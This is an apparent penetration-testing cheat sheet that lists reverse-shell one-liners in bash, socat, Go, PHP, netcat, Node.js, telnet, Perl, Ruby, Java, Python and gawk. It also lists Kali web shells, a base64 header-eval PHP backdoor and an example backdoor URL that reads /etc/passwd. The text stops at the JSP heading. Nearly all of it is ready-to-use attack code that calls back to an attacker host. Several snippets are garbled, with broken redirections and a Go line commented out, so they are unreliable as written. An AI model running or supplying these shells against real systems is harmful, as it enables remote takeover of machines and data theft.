cheat-sheet

During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing.

17/09/2020 - Updated to add the reverse shells submitted via Twitter @JaneScott 29/03/2015 - Original post date

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.

Set your Netcat listening shell on an allowed port Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

[email protected]:~# nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ...

NAT requires a port forward If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

exec /bin/bash 0&0 2>&0

0<&196 ; exec 196< > /dev/tcp/ATTACKING-IP/80 ; sh <&196 > &196 2>&196

exec 5< > /dev/tcp/ATTACKING-IP/80 cat <&5 | while read line ; do $line 2>&5 > &5 ; done # or: while read line 0<&5 ; do $line 2>&5 > &5 ; done

bash -i > & /dev/tcp/ATTACKING-IP/80 0>&1

socat Reverse Shell

Source: @filip_dragovic

socat tcp:ip:port exec : 'bash -i' ,pty,stderr,setsid,sigint,sane &

Golang Reverse Shell

echo ' package main ; import "os/exec" ; import "net" ; func main (){ c , _ := net . Dial ( "tcp" , "127.0.0.1:1337" ); cmd := exec . Command ( "/bin/sh" ); cmd . Stdin = c ; cmd . Stdout = c ; cmd . Stderr = c ; http : //cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

PHP Reverse Shell

A useful PHP reverse shell:

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' ( Assumes TCP uses file descriptor 3. If it doesn 't work, try 4,5, or 6)

Another PHP reverse shell (that was submitted via Twitter):

<?php exec ( "/bin/bash -c 'bash -i >& /dev/tcp/" ATTACKING IP "/443 0>&1'" ) ; ?>

Base64 encrypted by @0xInfection:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Netcat Reverse Shell

Useful netcat reverse shell examples:

Don't forget to start your listener, or you won't be catching any shells :)

nc -lnvp 80

nc -e /bin/sh ATTACKING-IP 80

/bin/sh | nc ATTACKING-IP 80

rm -f /tmp/p ; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Node.js Reverse Shell

require ( 'child_process' ) .exec ( 'bash -i >& /dev/tcp/10.0.0.1/80 0>&1' ) ;

Source: @jobertabma via @JaneScott

Telnet Reverse Shell

rm -f /tmp/p ; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

perl - e ' use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; '

Perl Windows Reverse Shell

perl - MIO - e ' $c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; '

perl - e ' use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; '

Ruby Reverse Shell

ruby - rsocket - e 'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

r = Runtime . getRuntime () p = r . exec ([ "/bin/bash" , "-c" , "exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done" ] as String []) p . waitFor ()

Python Reverse Shell

python - c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

Gawk one liner rev shell by @dmfroberson:

gawk 'BEGIN {P=4444;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

#!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } }

Kali Web Shells

The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

Kali PHP reverse shells and command shells:

Command Description /usr/share/webshells/php/

php-reverse-shell.php Pen Test Monkey - PHP Reverse Shell /usr/share/webshells/

php/php-findsock-shell.php /usr/share/webshells/

php/findsock.c Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80 /usr/share/webshells/

php/simple-backdoor.php PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-

backdoor.php?cmd=cat+/etc/passwd /usr/share/webshells/

php/php-backdoor.php Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

Kali perl reverse shell:

Command Description /usr/share/webshells/perl/

perl-reverse-shell.pl Pen Test Monkey - Perl Reverse Shell /usr/share/webshells/

perl/perlcmd.cgi Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

Kali Coldfusion Shell:

Command Description /usr/share/webshells/cfm/cfexec.cfm Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

Classic ASP Reverse Shell + CMD shells:

Command Description /usr/share/webshells/asp/ Kali ASP Shells

Kali ASPX Shells

ASP.NET reverse shells within Kali:

Command Description /usr/share/webshells/aspx/ Kali ASPX Shells

Kali JSP Reverse Shell

Kali JSP Reverse Shell: